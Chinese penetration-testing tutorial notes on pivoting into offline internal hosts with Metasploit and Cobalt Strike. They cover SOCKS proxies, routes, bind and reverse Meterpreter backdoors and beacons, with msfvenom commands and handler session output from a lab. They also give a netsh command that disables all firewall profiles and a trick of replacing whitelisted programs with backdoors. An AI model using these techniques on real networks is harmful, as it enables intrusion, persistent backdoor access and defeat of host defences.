代理技术就是解决外网和内网的通信问题,例如,我的一个外网主机想要找到另外一个网段下的一个内网主机,理论上是无法找到的。如果我们想要进行通信的话就要使用代理技术。我们可以找到一个与目标内网主机在容易网段下可以通信的外网主机,在上面做一个代理转发就可以找到内网主机。
MSF和CS自带模块进行代理转发
我们可以使用msf的auxiliary/server/socks_proxy模块和cs的建立sock连接模块来建立,建立好连接之后我们将其中的ip和端口信息配置到代理转发软件中,然后将我们的渗透工具添加到代理工具中就可以实现在我们本机对于内网不出网的主机进行测试
MSF模块
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.135 LPORT=9998 -f exe -o /testlyz2/9998.exe
先试用控制主机控制到内网中可以进行外网通信的主机,再使用控制主机的msf控制到目标内网主机,在主机上使用相关模块建立与内网连接的节点信息,建立好节点后,我们在攻击主机上通过代理连接到跳板机上与目标主机进行通信,通信正常后使用渗透工具进行攻击(因为msf建立的里连接只有对msf有效对其他的渗透工具无效)
使用msf模块进行攻击需要进行路由添加
在win7上安装一个节点,安装节点的目的就是使用节点去访问不能访问的内网主机,因为在内网环境中,目标主机没有出网路由就是我们不法与目标主机建立连接,如果想要进行渗透测试的话就需要在win7上安装渗透测试工具进行测试,显然这样做不显示,为了可以在本机上进行渗透测试我们就需要使用代理节点来进行连接无法连接的内网主机
使用msf模块在已经windows7上面建立一个网络的连接节点
添加路由(PS:msf要添加路由 cs不需要添加路由)
使用这个语句进行添加路由
添加已有之后就可以和本地的198网段进行通讯,做完这一步cs就可以直接和内网主机进行通信,但是其他应用程序还是不可以通信,这是因为其他工具不享有这个路由
建立节点--建立一个服务器去连接内网主机(和扶墙一个原理)
在一个和此内网主机不互联的外网主机使用代理工具,连接我们控制主机建立的节点服务器
在msf中use auxiliary/server/socks_proxy这个模块设置代理
设置好代理后在攻击机上使用工具去连接这个代理(SocketsCap)
设置好代理后就检测代理的联通性
在节点主机上通过工具建立连接去连接节点服务器
绑定应用服务就可以访问到内网主机中的资源信息
CS模块
不用添加路由
先使用cs作为一个后门,使用cs进行连接上线
然后点击目标右击建立socket代理
将代理的服务端口记录下来配置到攻击主机的代理服务器上即可
检测网络的联通性
我们控制一个主机一般是使用cs或者是msf,一般情况下如果是cmd权限的话对于后期操作不方便,也需要将权限转移到cs或者msf上面
然后配置代理选项
最后我们就可以通过工具对于不出网的主机进行正常的流量连接并进行渗透测试
CS和MSF控制上线--正向连接
CS模块
在实战情况下我们在内网环境下会遇到主机没有网络也即不出网的问题。为此我们需要使用和其在同一个网段下的主机对其进行正向主动连接--正向连接
正反向连接
正向:后门执行后将数据传递给本地的2222端口,控制器连接主机的2222端口
反向:后门执行后将数据传递给控制主机的2222端口,控制器监听自己的2222端口
由于内网的主机没有出网的接口。因此不可以使用反向连接,为此只能使主机连接本地的2222端口,然后使用跳板机去连接内网主机的2222端口
正向连接--生成本地后门
案例分析
先生成一个监听本地端口的后门程序
将后门上传到没有网络的内网主机
执行后门后,在控制的跳板机会话中的cs控制台输入connect 192.168.198.207(不出网主机)就会实现上线(我认为这一步体现了正向连接的精髓所在)
查看网络拓扑图
可以看到我们利用跳板机连接到了内网的一台主机
MSF模块
生成blind正向连接的后门
在上一步建立好代理的基础上,我们使用msf生成一个blind正向连接的后门
┌──(root㉿kali)-[~] └─# msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > /testlyz/bendi2.exe 生好后门后在代理中设置对话
先设控制一个受控主机
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run
查看会话信息
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/wind LYZ\Lenovo @ LYZ 192.168.198.135:6666 -> 19
ows 2.168.198.1:55989 (192.168
.198.1)
看到受控主机已经加入session会话
我们在生成一个监听本地端口的本地后门
┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > /testlyz/bendi2.exe
设置监听模块
msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > set rhost 192.168.198.207
rhost => 192.168.198.207
msf6 exploit(multi/handler) > set lport 3333
lport => 3333
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.198.207:3333
[*] Sending stage (175686 bytes) to 192.168.198.207
[*] Meterpreter session 2 opened (192.168.198.135:46687 -> 192.168.198.207:3333) at 2024-04-13 11:32:51 +0800
设置好然后在目标主机上执行后门上线
如果后期还有不同网段内网主机需要上线,我们可以采取相同的操作(方法一模一样)
CS和MSF控制上线--反向连接(以cs为例)
在一般情况下我们对于一个计算机的防火墙配置都是入站较为严格出站较为宽松。为此,当目标主机对于入站规则做了较为严格的限制,我们只能进行反向连接
在内网主机中有的内网主机
在内网主机上的防火墙做了限制
内网主机只开放了80端口的服务,只允许外部流量访问本地的80端口
设置之后只允许访问本地的80 web流量端口
使用流量转发上线
在跳板主机上选择代理转发执行转发上线,在控制的内网主机上使用代理转发,将转发的ip地址改为和内网主机同一网段下的IP地址,生成的后门直接上线
对于数据的转发上线是有两个步骤的,分别是转发和接收,为此,我们需要利用跳板机去接收这个流量,为此就在cs上面使用转发上线
我们在本地做个实验
我们的内网主机无法访问外面的网络
我们先使用kali攻击机控制到了我们的主机,主机通过正向连接控制到了一台内网主机(环境没做默认不出网)
我们先使用攻击主机控制到了一台跳板主机
然后使用正向连接控制到了内网的一台主机(使用上节课的知识点,先在受控主机上建立socket转发,然后生成一个绑定本地端口的后门 然后在交互端使用connect指令去连接内网的主机即可实现上线)
然后在这台主机上我们使用反向是的内网中的另外一台主机去连接我们的这台受控主机
生成一个绑定需要反向连接主机的一个监听器并且设置端口
用stageless exe生成器去生成一个后门
在目标主机上执行后门就可以直接上线
我们使用1会话作为跳板实现了2会话的上线,解决了网络出站限制的通讯问题
其他思路--防火墙关闭-规则删除-白名单替换
关闭防火墙
关闭防火墙的开关就是 关闭防火墙就防火墙就没有作用了(但是一般是内网主机不是域控主机权限的话无权对服务器的开关进行操作)
使用命令直接删除某一条防火墙命令
白名单替换
在安装某些软件的时候它会提示我们允许通过白名单,将我们的后门程序替换掉 原理允许的程序
我们可以将后门程序相同的目录下使用相同的名字进行替换,那么我们的后门程序就享有这个程序的防火墙白名单权限
但是这种方式需要我们本身取得较高的主机权限
内网权限 内网域权限
域内主机的防火墙权限是由域控统一进行配置管理,如果我们获得域内主机往往不具有删除防火墙策略,修改防火墙白名单程序的权限,这种方法不适用,内网主机适用,域控成员主机无法进行这种操作
删除防火墙规则
内网环境(非域内环境)
默认状况下防火墙的策略肯定是打开的,但是我们使用netsh advfirewall set allprofiles state off就可以关闭所有的防火墙策略
还有一种情况计算机使用的防火墙是一些商业产品,这种防火墙的关闭就要依据厂商的规则进行操作术
补充--cs插件实现Linux主机上线
cs本身不支持linux主机上线,我们需要下载插件
Releases · gloxec/CrossC2 (github.com)https://github.com/gloxec/CrossC2/releases
加载插件到cs中
然后选择反向上线
那个keys文件是一个隐藏文件,在我们安装插件的时候已经安装好了
更改路径在在Linux中相对应的文件中执行这个目录就会成一个t_cc2.out的文件
将这个文件保存下来在目标直接上执行这个文件就会实现上线
但是我这个插件加载有点问题,少了一些提权的项目
写在最后
如有错误,请及时指出,谢谢